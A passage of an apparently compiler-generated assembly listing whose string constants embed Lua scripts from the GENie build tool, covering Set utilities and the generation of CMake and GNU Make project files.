~= last do\nfor _, name in ipairs({ \"genie.lua\", \"solution.lua\", \"premake4.lua\" }) do\nlocal script0 = dir .. \"/\" .. name\nif (os.isfile(script0)) then\nreturn dir, name\nend\nlocal script1 = dir .. \"/scripts/\" .. name\nif (os.isfile(script1)) then\nreturn dir .. \"/scripts/\", name\nend\nend\nlast = dir\ndir = path.getabsolute(dir .. \"/..\")\nif dir == \".\" or not search_upwards then break end\nend\nreturn nil, nil\nend\n"
L_.str.28: ## @.str.28
.asciz "iter = {}\nfunction iter.sortByKeys(arr, f)\nlocal a = table.keys(arr)\ntable.sort(a, f)\nlocal i = 0\nreturn function()\ni = i + 1\nif a[i] ~= nil then \nreturn a[i], arr[a[i]]\nend\nend\nend\n"
L_.str.29: ## @.str.29
.asciz "Set_mt = {}\nfunction Set(t)\nlocal set = {}\nfor k, l in ipairs(t) do \nset[l] = true \nend\nsetmetatable(set, Set_mt)\nreturn set\nend\nfunction Set_mt.union(a, b)\nlocal res = Set{}\nfor k in pairs(a) do res[k] = true end\nfor k in pairs(b) do res[k] = true end\nreturn res\nend\nfunction Set_mt.intersection(a, b)\nlocal res = Set{}\nfor k in pairs(a) do\nres[k] = b[k]\nend\nreturn res\nend\nlocal function get_cache(a)\nif not rawget(a, \"__cache\") then\nrawset(a, \"__cache\", Set_mt.totable(a))\nend\nreturn rawget(a, \"__cache\")\nend\nfunction Set_mt.len(a)\nreturn #get_cache(a)\nend\nfunction Set_mt.implode(a, sep)\nreturn table.concat(get_cache(a), sep)\nend\nfunction Set_mt.totable(a)\nlocal res = {}\nfor k in pairs(a) do\ntable.insert(res, k)\nend\nreturn res\nend\nfunction Set_mt.difference(a, b)\nif getmetatable(b) ~= Set_mt then\nif type(b) ~= \"table\" then\nerror(type(b)..\" is not a Set or table\")\nend\nb=Set(b)\nend\nlocal res = Set{}\nfor k in pairs(a) do\nres[k] = not b[k] or nil\nend\nrawset(res, \"__cache\", nil)\nreturn res\nend\nfunction Set_mt.__index(a, i)\nif type(i) == \"number\" then\nreturn get_cache(a)[i]\nend\nreturn Set_mt[i] or rawget(a, i)\nend\nSet_mt.__add = Set_mt.union\nSet_mt.__mul = Set_mt.intersection\nSet_mt.__sub = Set_mt.difference\nSet_mt.__len = Set_mt.len\nSet_mt.__concat = Set_mt.implode"
L_.str.30: ## @.str.30
.asciz "premake.cmake = { }\nnewaction {\ntrigger = \"cmake\",\nshortname = \"CMake\",\ndescription = \"Generate CMake project files\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"CMakeLists.txt\", premake.cmake.workspace)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%/CMakeLists.txt\", premake.cmake.project)\nend,\noncleansolution = function(sln)\npremake.clean.file(sln, \"CMakeLists.txt\")\nend,\noncleanproject = function(prj)\npremake.clean.file(prj, \"%%/CMakeLists.txt\")\nend\n}"
L_.str.31: ## @.str.31
.asciz "function premake.cmake.workspace(sln)\nif (sln.location ~= _WORKING_DIR) then\nlocal name = string.format(\"%s/CMakeLists.txt\", _WORKING_DIR)\nlocal f, err = io.open(name, \"wb\")\nif (not f) then\nerror(err, 0)\nend\nf:write('# CMakeLists autogenerated by GENie\\n')\nf:write('cmake_minimum_required(VERSION 2.8.4)\\n')\nf:write('\\n')\nf:write('add_subdirectory('.. path.getrelative(_WORKING_DIR, sln.location) ..')\\n')\nf:close()\nend\n_p('# CMakeLists autogenerated by GENie')\n_p('cmake_minimum_required(VERSION 2.8.4)')\n_p('')\nfor i,prj in ipairs(sln.projects) do\nlocal name = premake.esc(prj.name)\n_p('add_subdirectory(%s)', name)\nend\nend\n"
L_.str.32: ## @.str.32
.asciz "local cmake = premake.cmake\nlocal tree = premake.tree\nlocal includestr = 'include_directories(../%s)'\nlocal definestr = 'add_definitions(-D%s)'\nlocal function is_excluded(prj, cfg, file)\n if table.icontains(prj.excludes, file) then\n return true\n end\n if table.icontains(cfg.excludes, file) then\n return true\n end\n return false\nend\nfunction cmake.excludedFiles(prj, cfg, src)\n for _, v in ipairs(src) do\n if (is_excluded(prj, cfg, v)) then\n _p(1, 'list(REMOVE_ITEM source_list ../%s)', v)\n end\n end\nend\nfunction cmake.list(value)\n if #value > 0 then\n return \" \" .. table.concat(value, \" \")\n else\n return \"\"\n end\nend\nfunction cmake.files(prj)\n local ret = {}\n local tr = premake.project.buildsourcetree(prj)\n tree.traverse(tr, {\n onbranchenter = function(node, depth)\n end,\n onbranchexit = function(node, depth)\n end,\n onleaf = function(node, depth)\n assert(node, \"unexpected empty node\")\n if node.cfg then\n table.insert(ret, node.cfg.name)\n _p(1, '../%s', node.cfg.name)\n end\n end,\n }, true, 1)\n return ret\nend\nfunction cmake.header(prj)\n _p('# %s project autogenerated by GENie', premake.action.current().shortname)\n _p('cmake_minimum_required(VERSION 2.8.4)')\n _p('')\n _p('project(%s)', premake.esc(prj.name))\nend\nfunction cmake.customtasks(prj)\n local dirs = {}\n local tasks = {}\n for _, custombuildtask in ipairs(prj.custombuildtask or {}) do\n for _, buildtask in ipairs(custombuildtask or {}) do\n table.insert(tasks, buildtask)\n local d = string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s\", path.getdirectory(path.getrelative(prj.location, buildtask[2])))\n if not table.contains(dirs, d) then\n table.insert(dirs, d)\n _p('file(MAKE_DIRECTORY \\\"%s\\\")', d)\n end\n end\n end\n _p('')\n for _, buildtask in ipairs(tasks) do\n local deps = string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, buildtask[1]))\n local outputs = string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, buildtask[2]))\n local msg = \"\"\n for _, depdata in ipairs(buildtask[3] or {}) do\n deps = deps .. string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, depdata))\n end\n _p('add_custom_command(')\n _p(1, 'OUTPUT %s', outputs)\n _p(1, 'DEPENDS %s', deps)\n for _, cmdline in ipairs(buildtask[4] or {}) do\n if (cmdline:sub(1, 1) ~= \"@\") then\n local cmd = cmdline\n local num = 1\n for _, depdata in ipairs(buildtask[3] or {}) do\n cmd = string.gsub(cmd, \"%$%(\" .. num .. \"%)\", string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, depdata)))\n num = num + 1\n end\n cmd = string.gsub(cmd, \"%$%(<%)\", string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, buildtask[1])))\n cmd = string.gsub(cmd, \"%$%(@%)\", outputs)\n _p(1, 'COMMAND %s', cmd)\n else\n msg = cmdline\n end\n end\n _p(1, 'COMMENT \\\"%s\\\"', msg)\n _p(')')\n _p('')\n end\nend\nfunction cmake.depRules(prj)\n local maintable = {}\n for _, dependency in ipairs(prj.dependency) do\n for _, dep in ipairs(dependency) do\n if path.issourcefile(dep[1]) then\n local dep1 = premake.esc(path.getrelative(prj.location, dep[1]))\n local dep2 = premake.esc(path.getrelative(prj.location, dep[2]))\n if not maintable[dep1] then maintable[dep1] = {} end\n table.insert(maintable[dep1], dep2)\n end\n end\n end\n for key, _ in pairs(maintable) do\n local deplist = {}\n local depsname = string.format('%s_deps', path.getname(key))\n for _, d2 in pairs(maintable[key]) do\n table.insert(deplist, d2)\n end\n _p('set(')\n _p(1, depsname)\n for _, v in pairs(deplist) do\n _p(1, '${CMAKE_CURRENT_SOURCE_DIR}/../%s', v)\n end\n _p(')')\n _p('')\n _p('set_source_files_properties(')\n _p(1, '\\\"${CMAKE_CURRENT_SOURCE_DIR}/../%s\\\"', key)\n _p(1, 'PROPERTIES OBJECT_DEPENDS \\\"${%s}\\\"', depsname)\n _p(')')\n _p('')\n end\nend\nfunction cmake.commonRules(conf, str)\n local Dupes = {}\n local t2 = {}\n for _, cfg in ipairs(conf) do\n local cfgd = iif(str == includestr, cfg.includedirs, cfg.defines)\n for _, v in ipairs(cfgd) do\n if(t2[v] == #conf - 1) then\n _p(str, v)\n table.insert(Dupes, v)\n end\n if not t2[v] then\n t2[v] = 1\n else\n t2[v] = t2[v] + 1\n end\n end\n end\n return Dupes\nend\nfunction cmake.cfgRules(cfg, dupes, str)\n for _, v in ipairs(cfg) do\n if (not table.icontains(dupes, v)) then\n _p(1, str, v)\n end\n end\nend\nfunction cmake.removeCrosscompiler(platforms)\n for i = #platforms, 1, -1 do\n if premake.platforms[platforms[i]].iscrosscompiler then\n table.remove(platforms, i)\n end\n end\nend\nfunction cmake.project(prj)\n io.indent = \" \"\n cmake.header(prj)\n _p('set(')\n _p('source_list')\n local source_files = cmake.files(prj)\n _p(')')\n _p('')\n local nativeplatform = iif(os.is64bit(), \"x64\", \"x32\")\n local cc = premake.gettool(prj)\n local platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\n cmake.removeCrosscompiler(platforms)\n local configurations = {}\n for _, platform in ipairs(platforms) do\n for cfg in premake.eachconfig(prj, platform) do\n -- TODO: Extend support for 32-bit targets on 64-bit hosts\n if cfg.platform == nativeplatform then\n table.insert(configurations, cfg)\n end\n end\n end\n local commonIncludes = cmake.commonRules(configurations, includestr)\n local commonDefines = cmake.commonRules(configurations, definestr)\n _p('')\n for _, cfg in ipairs(configurations) do\n _p('if(CMAKE_BUILD_TYPE MATCHES \\\"%s\\\")', cfg.name)\n -- list excluded files\n cmake.excludedFiles(prj, cfg, source_files)\n -- add includes directories\n cmake.cfgRules(cfg.includedirs, commonIncludes, includestr)\n -- add build defines\n cmake.cfgRules(cfg.defines, commonDefines, definestr)\n -- set CXX flags\n _p(1, 'set(CMAKE_CXX_FLAGS \\\"${CMAKE_CXX_FLAGS} %s\\\")', cmake.list(table.join(cc.getcppflags(cfg), cc.getcflags(cfg), cc.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_cpp)))\n -- set C flags\n _p(1, 'set(CMAKE_C_FLAGS \\\"${CMAKE_C_FLAGS} %s\\\")', cmake.list(table.join(cc.getcppflags(cfg), cc.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_c)))\n _p('endif()')\n _p('')\n end\n -- force CPP if needed\n if (prj.options.ForceCPP) then\n _p('set_source_files_properties(${source_list} PROPERTIES LANGUAGE CXX)')\n end\n -- add custom tasks\n cmake.customtasks(prj)\n -- per-dependency build rules\n cmake.depRules(prj)\n for _, cfg in ipairs(configurations) do\n _p('if(CMAKE_BUILD_TYPE MATCHES \\\"%s\\\")', cfg.name)\n if (prj.kind == 'StaticLib') then\n _p(1, 'add_library(%s STATIC ${source_list})', premake.esc(cfg.buildtarget.basename))\n end\n if (prj.kind == 'SharedLib') then\n _p(1, 'add_library(%s SHARED ${source_list})', premake.esc(cfg.buildtarget.basename))\n end\n if (prj.kind == 'ConsoleApp' or prj.kind == 'WindowedApp') then\n _p(1, 'add_executable(%s ${source_list})', premake.esc(cfg.buildtarget.basename))\n _p(1, 'target_link_libraries(%s%s%s)', premake.esc(cfg.buildtarget.basename), cmake.list(premake.esc(premake.getlinks(cfg, \"siblings\", \"basename\"))), cmake.list(cc.getlinkflags(cfg)))\n end\n _p('endif()')\n _p('')\n end\nend"
L_.str.33: ## @.str.33
.asciz "_MAKE = { }\npremake.make = { }\nlocal make = premake.make\nfunction _MAKE.esc(value)\nlocal result\nif (type(value) == \"table\") then\nresult = { }\nfor _,v in ipairs(value) do\ntable.insert(result, _MAKE.esc(v))\nend\nreturn result\nelse\nresult = value:gsub(\"\\\\\", \"\\\\\\\\\")\nresult = result:gsub(\" \", \"\\\\ \")\nresult = result:gsub(\"%%(\", \"\\\\%(\")\nresult = result:gsub(\"%%)\", \"\\\\%)\")\nresult = result:gsub(\"$\\\\%((.-)\\\\%)\", \"$%(%1%)\")\nreturn result\nend\nend\nfunction _MAKE.escquote(value)\nlocal result\nif (type(value) == \"table\") then\nresult = { }\nfor _,v in ipairs(value) do\ntable.insert(result, _MAKE.escquote(v))\nend\nreturn result\nelse\nresult = value:gsub(\" \", \"\\\\ \")\nresult = result:gsub(\"\\\"\", \"\\\\\\\"\")\nreturn result\nend\nend\nfunction premake.make_copyrule(source, target)\n_p('%s: %s', target, source)\n_p('\\t@echo Copying $(notdir %s)', target)\n_p('\\t-$(call COPY,%s,%s)', source, target)\nend\nfunction premake.make_mkdirrule(var)\n_p('\\t@echo Creating %s', var)\n_p('\\t-$(call MKDIR,%s)', var)\n_p('')\nend\nfunction make.list(value)\nif #value > 0 then\nreturn \" \" .. table.concat(value, \" \")\nelse\nreturn \"\"\nend\nend\nfunction _MAKE.getmakefilename(this, searchprjs)\nlocal count = 0\nfor sln in premake.solution.each() do\nif (sln.location == this.location) then count = count + 1 end\nif (searchprjs) then\nfor _,prj in ipairs(sln.projects) do\nif (prj.location == this.location) then count = count + 1 end\nend\nend\nend\nif (count == 1) then\nreturn \"Makefile\"\nelse\nreturn this.name .. \".make\"\nend\nend\nfunction _MAKE.getnames(tbl)\nlocal result = table.extract(tbl, \"name\")\nfor k,v in pairs(result) do\nresult[k] = _MAKE.esc(v)\nend\nreturn result\nend\nfunction make.settings(cfg, cc)\nif #cfg.makesettings > 0 then\nfor _, value in ipairs(cfg.makesettings) do\n_p(value)\nend\nend\nlocal toolsettings = cc.platforms[cfg.platform].cfgsettings\nif toolsettings then\n_p(toolsettings)\nend\nend\nnewaction {\ntrigger = \"gmake\",\nshortname = \"GNU Make\",\ndescription = \"Generate GNU makefiles for POSIX, MinGW, and Cygwin\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\", \"Vala\", \"Swift\" },\nvalid_tools = {\ncc = { \"gcc\", \"ghs\" },\ndotnet = { \"mono\", \"msnet\", \"pnet\" },\nvalac = { \"valac\" },\nswift = { \"swift\" },\n},\nonsolution = function(sln)\npremake.generate(sln, _MAKE.getmakefilename(sln, false), premake.make_solution)\nend,\nonproject = function(prj)\nlocal makefile = _MAKE.getmakefilename(prj, true)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, makefile, premake.make_csharp)\nelseif premake.iscppproject(prj) then\npremake.generate(prj, makefile, premake.make_cpp)\nelseif premake.isswiftproject(prj) then\npremake.generate(prj, makefile, premake.make_swift)\nelse\npremake.generate(prj, makefile, premake.make_vala)\nend\nend,\noncleansolution = function(sln)\npremake.clean.file(sln, _MAKE.getmakefilename(sln, false))\nend,\noncleanproject = function(prj)\npremake.clean.file(prj, _MAKE.getmakefilename(prj, true))\nend,\ngmake = {}\n}\n"
L_.str.34: ## @.str.34
.asciz "function premake.make_solution(sln)\nlocal cc = premake[_OPTIONS.cc]\nlocal platforms = premake.filterplatforms(sln, cc.platforms, \"Native\")\n_p('# %s solution makefile autogenerated by GENie', premake.action.current().shortname)\n_p('# Type \"make help\" for usage help')\n_p('')\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(sln.configurations[1], platforms[1], true)))\n_p('endif')\n_p('export config')\n_p('')\nlocal projects = table.extract(sln.projects, \"name\")\ntable.sort(projects)\n_p('PROJECTS := %s', table.concat(_MAKE.esc(projects), \" \"))\n_p('')\n_p('.PHONY: all clean help $(PROJECTS)')\n_p('')\n_p('all: $(PROJECTS)')\n_p('')\nfor _, prj in ipairs(sln.projects) do\n_p('%s: %s', _MAKE.esc(prj.name), table.concat(_MAKE.esc(table.extract(premake.getdependencies(prj), \"name\")), \" \"))\nif (not sln.messageskip) or (not table.contains(sln.messageskip, \"SkipBuildingMessage\")) then\n_p('\\t@echo \"==== Building %s ($(config)) ====\"', prj.name)\nend\n_p('\\t@${MAKE} --no-print-directory -C %s -f %s', _MAKE.esc(path.getrelative(sln.location, prj.location)), _MAKE.esc(_MAKE.getmakefilename(prj, true)))\n_p('')\nend\n_p('clean:')\nfor _ ,prj in ipairs(sln.projects) do\n_p('\\t@${MAKE} --no-print-directory -C %s -f %s clean', _MAKE.esc(path.getrelative(sln.location, prj.location)), _MAKE.esc(_MAKE.getmakefilename(prj, true)))\nend\n_p('')\n_p('help:')\n_p(1,'@echo \"Usage: make [config=name] [target]\"')\n_p(1,'@echo \"\"')\n_p(1,'@echo \"CONFIGURATIONS:\"')\nlocal cfgpairs = { }\nfor _, platform in ipairs(platforms) do\nfor _, cfgname in ipairs(sln.configurations) do\n_p(1,'@echo \" %s\"', premake.getconfigname(cfgname, platform, true))\nend\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"TARGETS:\"')\n_p(1,'@echo \" all (default)\"')\n_p(1,'@echo \" clean\"')\nfor _, prj in ipairs(sln.projects) do\n_p(1,'@echo \" %s\"', prj.name)\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"For more information, see https://github.com/bkaradzic/genie\"')\nend\n"
L_.str.35: ## @.str.35
.asciz "-- --\npremake.make.cpp = { }\npremake.make.override = { }\npremake.make.makefile_ignore = false\nlocal cpp = premake.make.cpp\nlocal make = premake.make\nfunction premake.make_cpp(prj)\nlocal cc = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\nlocal action = premake.action.current()\npremake.gmake_cpp_header(prj, cc, platforms)\npremake.gmake_cpp_configs(prj, cc, platforms)\ntable.sort(prj.allfiles)\nlocal objdirs = {}\nlocal additionalobjdirs = {}\nfor _, file in ipairs(prj.allfiles) do\nif path.issourcefile(file) then\nobjdirs[_MAKE.esc(path.getdirectory(path.trimdots(file)))] = 1\nend\nend\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nadditionalobjdirs[_MAKE.esc(path.getdirectory(path.getrelative(prj.location,buildtask[2])))] = 1\nend\nend\n_p('OBJDIRS := \\\\')\n_p('\\t$(OBJDIR) \\\\')\nfor dir, _ in iter.sortByKeys(objdirs) do\n_p('\\t$(OBJDIR)/%s \\\\', dir)\nend\nfor dir, _ in iter.sortByKeys(additionalobjdirs) do\n_p('\\t%s \\\\', dir)\nend\n_p('')\n_p('RESOURCES := \\\\')\nfor _, file in ipairs(prj.allfiles) do\nif path.isresourcefile(file) then\n_p('\\t$(OBJDIR)/%s.res \\\\', _MAKE.esc(path.getbasename(file)))\nend\nend\n_p('')\n_p('.PHONY: clean prebuild prelink')\n_p('')\nif os.is(\"MacOSX\") and prj.kind == \"WindowedApp\" and not prj.options.SkipBundling then\n_p('all: $(OBJDIRS) $(TARGETDIR) prebuild prelink $(TARGET) $(dir $(TARGETDIR))PkgInfo $(dir $(TARGETDIR))Info.plist')\nelse\n_p('all: $(OBJDIRS) $(TARGETDIR) prebuild prelink $(TARGET)')\nend\n_p('\\t@:')\n_p('')\nif (prj.kind == \"StaticLib\" and prj.options.ArchiveSplit) then\n_p('define max_args')\n_p('\\t$(eval _args:=)')\n_p('\\t$(foreach obj,$3,$(eval _args+=$(obj))$(if $(word $2,$(_args)),$1 $(_args)$(EOL)$(eval _args:=)))')\n_p('\\t$(if $(_args),$1 $(_args))')\n_p('endef')\n_p('')\n_p('define EOL')\n_p('')\n_p('')\n_p('endef')\n_p('')\nend\n_p('$(TARGET): $(GCH) $(OBJECTS) $(LIBDEPS) $(EXTERNAL_LIBS) $(RESOURCES) $(OBJRESP) $(LDRESP) | $(TARGETDIR) $(OBJDIRS)')\nif prj.kind == \"StaticLib\" then\nif prj.msgarchiving then\n_p('\\t@echo ' .. prj.msgarchiving)\nelse\n_p('\\t@echo Archiving %s', prj.name)\nend\nif (not prj.archivesplit_size) then\nprj.archivesplit_size=200\nend\nif (not prj.options.ArchiveSplit) then\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('endif')\n_p('\\t$(SILENT) $(LINKCMD) $(LINKOBJS)' .. (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\nelse\n_p('\\t$(call RM,$(TARGET))')\n_p('\\t@$(call max_args,$(LINKCMD),'.. prj.archivesplit_size ..',$(LINKOBJS))' .. (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\n_p('\\t$(SILENT) $(LINKCMD_NDX)')\nend\nelse\nif prj.msglinking then\n_p('\\t@echo ' .. prj.msglinking)\nelse\n_p('\\t@echo Linking %s', prj.name)\nend\n_p('\\t$(SILENT) $(LINKCMD)')\nend\n_p('\\t$(POSTBUILDCMDS)')\n_p('')\n_p('$(TARGETDIR):')\npremake.make_mkdirrule(\"$(TARGETDIR)\")\n_p('$(OBJDIRS):')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCreatingMessage\")) then\n_p('\\t@echo Creating $(@)')\nend\n_p('\\t-$(call MKDIR,$@)')\n_p('')\nif os.is(\"MacOSX\") and prj.kind == \"WindowedApp\" and not prj.options.SkipBundling then\n_p('$(dir $(TARGETDIR))PkgInfo:')\n_p('$(dir $(TARGETDIR))Info.plist:')\n_p('')\nend\n_p('clean:')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCleaningMessage\")) then\n_p('\\t@echo Cleaning %s', prj.name)\nend\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('\\t$(SILENT) rm -rf $(OBJDIR)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(OBJDIR)) rmdir /s /q $(subst /,\\\\\\\\,$(OBJDIR))')\n_p('endif')\n_p('')\n_p('prebuild:')\n_p('\\t$(PREBUILDCMDS)')\n_p('')\n_p('prelink:')\n_p('\\t$(PRELINKCMDS)')\n_p('')\ncpp.pchrules(prj)\ncpp.fileRules(prj, cc)\ncpp.dependencyRules(prj)\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal deps = string.format(\"%s \",path.getrelative(prj.location,buildtask[1]))\nfor _, depdata in ipairs(buildtask[3] or {}) do\ndeps = deps .. string.format(\"%s \",path.getrelative(prj.location,depdata))\nend\n_p('%s: %s | $(TARGETDIR) $(OBJDIRS)'\n,path.getrelative(prj.location,buildtask[2])\n, deps\n)\nfor _, cmdline in ipairs(buildtask[4] or {}) do\nlocal cmd = cmdline\nlocal num = 1\nfor _, depdata in ipairs(buildtask[3] or {}) do\ncmd = string.gsub(cmd,\"%$%(\" .. num ..\"%)\", string.format(\"%s \",path.getrelative(prj.location,depdata)))\nnum = num + 1\nend\ncmd = string.gsub(cmd, \"%$%(<%)\", \"$<\")\ncmd = string.gsub(cmd, \"%$%(@%)\", \"$@\")\n_p('\\t$(SILENT) %s',cmd)\nend\n_p('')\nend\nend\n_p('-include $(OBJECTS:%%.o=%%.d)')\n_p('ifneq (,$(PCH))')\n_p(' -include $(OBJDIR)/$(notdir $(PCH)).d')\n_p(' -include $(OBJDIR)/$(notdir $(PCH))_objc.d')\n_p('endif')\nend\nfunction premake.gmake_cpp_header(prj, cc, platforms)\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(prj.solution.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(' SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(' MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(' COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p(' RM = $(SILENT) rm -f \"$(1)\"')\n_p('else')\n_p(' MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p(' COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p(' RM = $(SILENT) del /F \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p('endif')\n_p('')\n_p('CC = %s', cc.cc)\n_p('CXX = %s', cc.cxx)\n_p('AR = %s', cc.ar)\n_p('')\n_p('ifndef RESCOMP')\n_p(' ifdef WINDRES')\n_p(' RESCOMP = $(WINDRES)')\n_p(' else')\n_p(' RESCOMP = %s', cc.rc or 'windres')\n_p(' endif')\n_p('endif')\n_p('')\nif (not premake.make.makefile_ignore) then\n_p('MAKEFILE = %s', _MAKE.getmakefilename(prj, true))\n_p('')\nend\nend\nlocal function is_excluded(prj, cfg, file)\nif table.icontains(prj.excludes, file) then\nreturn true\nend\nif table.icontains(cfg.excludes, file) then\nreturn true\nend\nreturn false\nend\nfunction premake.gmake_cpp_configs(prj, cc, platforms)\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\npremake.gmake_cpp_config(prj, cfg, cc)\nend\nend\nend\nfunction premake.gmake_cpp_config(prj, cfg, cc)\n_p('ifeq ($(config),%s)', _MAKE.esc(cfg.shortname))\ncpp.platformtools(cfg, cc)\nlocal targetDir = _MAKE.esc(cfg.buildtarget.directory)\n_p(' ' .. (table.contains(premake.make.override,\"OBJDIR\") and \"override \" or \"\") .. 'OBJDIR = %s', _MAKE.esc(cfg.objectsdir))\n_p(' ' .. (table.contains(premake.make.override,\"TARGETDIR\") and \"override \" or \"\") .. 'TARGETDIR = %s', iif(targetDir == \"\", \".\", targetDir))\n_p(' ' .. (table.contains(premake.make.override,\"TARGET\") and \"override \" or \"\") .. 'TARGET = $(TARGETDIR)/%s', _MAKE.esc(cfg.buildtarget.name))\n_p(' DEFINES +=%s', make.list(_MAKE.escquote(cc.getdefines(cfg.defines))))\nlocal id = make.list(cc.getincludedirs(cfg.includedirs));\nlocal uid = make.list(cc.getquoteincludedirs(cfg.userincludedirs))\nlocal sid = make.list(cc.getsystemincludedirs(cfg.systemincludedirs))\nif id ~= \"\" then\n_p(' INCLUDES +=%s', id)\nend\nif uid ~= \"\" then\n_p(' INCLUDES +=%s', uid)\nend\nif sid ~= \"\" then\n_p(' INCLUDES +=%s', sid)\nend\ncpp.pchconfig(cfg)\ncpp.flags(cfg, cc)\ncpp.linker(prj, cfg, cc)\ntable.sort(cfg.files)\nif cfg.flags.UseObjectResponseFile then\n_p(' OBJRESP = $(OBJDIR)/%s_objects', prj.name)\nelse\n_p(' OBJRESP =')\nend\n_p(' OBJECTS := \\\\')\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\nif not is_excluded(prj, cfg, file) then\n_p('\\t$(OBJDIR)/%s.o \\\\'\n, _MAKE.esc(path.trimdots(path.removeext(file)))\n)\nend\nend\nend\n_p('')\n_p(' define PREBUILDCMDS')\nif #cfg.prebuildcommands > 0 then\n_p('\\t@echo Running pre-build commands')\n_p('\\t%s', table.implode(cfg.prebuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define PRELINKCMDS')\nif #cfg.prelinkcommands > 0 then\n_p('\\t@echo Running pre-link commands')\n_p('\\t%s', table.implode(cfg.prelinkcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define POSTBUILDCMDS')\nif #cfg.postbuildcommands > 0 then\n_p('\\t@echo Running post-build commands')\n_p('\\t%s', table.implode(cfg.postbuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\nmake.settings(cfg, cc)\n_p('endif')\n_p('')\nend\nfunction cpp.platformtools(cfg, cc)\nlocal platform = cc.platforms[cfg.platform]\nif platform.cc then\n_p(' CC = %s', platform.cc)\nend\nif platform.cxx then\n_p(' CXX = %s', platform.cxx)\nend\nif platform.ar then\n_p(' AR = %s', platform.ar)\nend\nend\nfunction cpp.flags(cfg, cc)\nif cfg.pchheader and not cfg.flags.NoPCH then\n_p(' FORCE_INCLUDE += -include $(OBJDIR)/$(notdir $(PCH))')\n_p(' FORCE_INCLUDE_OBJC += -include $(OBJDIR)/$(notdir $(PCH))_objc')\nend\nif #cfg.forcedincludes > 0 then\n_p(' FORCE_INCLUDE += -include %s'\n,_MAKE.esc(table.concat(cfg.forcedincludes, \";\")))\nend\n_p(' ALL_CPPFLAGS += $(CPPFLAGS) %s $(DEFINES) $(INCLUDES)', table.concat(cc.getcppflags(cfg), \" \"))\n_p(' ALL_ASMFLAGS += $(ASMFLAGS) $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_asm)))\n_p(' ALL_CFLAGS += $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_c)))\n_p(' ALL_CXXFLAGS += $(CXXFLAGS) $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cc.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_cpp)))\n_p(' ALL_OBJCFLAGS += 